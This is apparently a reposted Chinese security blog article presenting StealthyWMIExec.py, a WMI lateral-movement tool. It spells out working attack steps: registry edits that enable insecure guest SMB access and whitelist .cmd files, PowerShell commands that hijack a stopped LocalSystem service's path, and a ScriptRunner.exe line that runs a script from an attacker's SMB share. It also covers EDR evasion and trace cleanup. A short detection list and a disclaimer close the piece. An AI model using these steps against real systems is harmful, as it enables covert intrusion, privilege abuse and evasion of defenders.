
传统的 wmiexec.py 凭借 Impacket 框架成为内网横向移动的常用工具,但它的检测特征过于明显—— 依赖 Win32_Process 类的 Create 方法创建进程,执行输出会写入 ADMIN$ 共享,很容易被主流 EDR / 安全设备识别拦截。
能不能做一个不使用 Win32_Process、不写入本地磁盘,同时还能稳定执行命令、回显结果的 WMI 横向移动工具?
本文就带你拆解这种新型隐蔽攻击思路,以及它的实现工具 StealthyWMIExec.py。
核心思路:抛弃老套路,换一种攻击链
-
调用Win32_Process.Create创建进程,特征明显 -
命令输出写入本地磁盘 ADMIN$,留痕严重 -
日志、进程链极易被检测
-
不使用 Win32_Process,改用修改系统服务路径实现执行 -
利用LOLBIN(ScriptRunner.exe) 远程加载 SMB 共享上的脚本 -
全程不写入目标主机本地磁盘 -
命令执行结果直接回传攻击机 SMB 服务 -
执行后还原服务路径,清理痕迹
关键 LOLBIN:ScriptRunner.exe
在 LOLBAS 项目中筛选后,作者选中ScriptRunner.exe,它支持直接执行 SMB 共享上的 cmd 脚本,完美满足无磁盘落地需求。
https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/
ScriptRunner.exe -appvscript \192.168.122.126shareshell.cmd

踩过的坑:两个必须解决的障碍
1. SMB 未经身份验证访客访问被阻止
错误提示:无法访问此共享文件夹,因为你的组织安全策略阻止了未经身份验证的访客访问
Error: You can’t access this shared folder because your organization’s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network

解决:修改注册表允许不安全访客认证
HKLMSYSTEMCurrentControlSetServicesLanmanWorkstationParametersAllowInsecureGuestAuth = 1 (DWORD)
2. Windows 安全警告弹窗阻止执行
直接运行网络脚本会弹出安全提示,导致执行中断。

解决:将 .cmd 加入低风险文件白名单
HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesAssociationsLowRiskFileTypes = .cmd
完成这两项配置后,ScriptRunner 即可静默执行远程 SMB 脚本。

攻击核心:修改停止状态的系统服务
要让 LOLBIN 在目标机静默运行,最佳载体是已停止、以 LocalSystem 运行的系统服务。
1. 筛选符合条件的服务
用 WMI 查询:已停止 + 运行身份为 LocalSystem
$TargetService = Get-CimInstance -ClassName Win32_Service -Filter "State='Stopped' AND StartName ='LocalSystem'" | Select-Object -First 1$TargetService

2. 修改服务 PathName 为攻击载荷
将服务路径替换为我们的攻击载荷:
Invoke-CimMethod -InputObject $TargetService -MethodName Change -Arguments @{PathName = "C:WindowsSystem32scriptrunner.exe -appvscript \192.168.122.126shareshell.cmd"}
3. 启动服务触发执行
Invoke-CimMethod -InputObject $TargetService -MethodName StartService

LocalSystem 权限可直接访问 SMB 并执行脚本,无需访客认证,攻击成功率大幅提升。
StealthyWMIExec.py 完整工作流程
这个基于 Impacket 开发的工具,完整实现了上述攻击链,全程自动化:
-
启动 SMB 服务:在攻击机开启 SMB 共享,存放 payload 与接收回显
-
远程检查注册表:确认.cmd 已加入 LowRiskFileTypes 白名单,没有则自动配置
-
WMI 查询服务:查找 Stopped+LocalSystem 服务
-
备份并修改服务路径:替换为 ScriptRunner + SMB 远程脚本
-
生成 payload:创建 .cmd 执行指定命令,结果写入 SMB 共享
-
启动服务执行:命令运行后回传结果到攻击机
-
自动还原服务路径:攻击结束恢复原始 PathName,消除痕迹
-
读取并展示结果:输出 whoami、hostname 等执行结果

技术亮点与防御建议
-
无磁盘文件落地,全程远程加载
-
不使用 Win32_Process,绕过传统 WMI 执行检测
-
默认获得 LocalSystem 高权限
-
执行后自动还原服务,痕迹极低
-
依托系统自带 LOLBIN,不易被判定恶意
-
监控 ScriptRunner.exe 异常启动,尤其带 -appvscript + 远程路径
-
审计系统服务 PathName 的异常修改行为
-
禁用不必要的 AllowInsecureGuestAuth
-
限制从远程 SMB 共享直接执行 .cmd / .ps1 脚本
-
监控 WMI 对 Win32_Service 的 Change 和 StartService 调用
-
开启服务关键路径注册表监控
最后
关于这个新型隐蔽的WMI横向移动攻击思路的详细原理建议可以去看下作者原文:
https://ghaleb0x317374.github.io/2026/03/15/Stealthy-WMI-lateral-movement-StealthyWMIExec.py.html
这个工具项目地址可通过以下方式获取!!!
下载地址
https://github.com/Ghaleb0x317374/StealthyWMIExec.py
文章来源:Hack分享吧
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END














暂无评论内容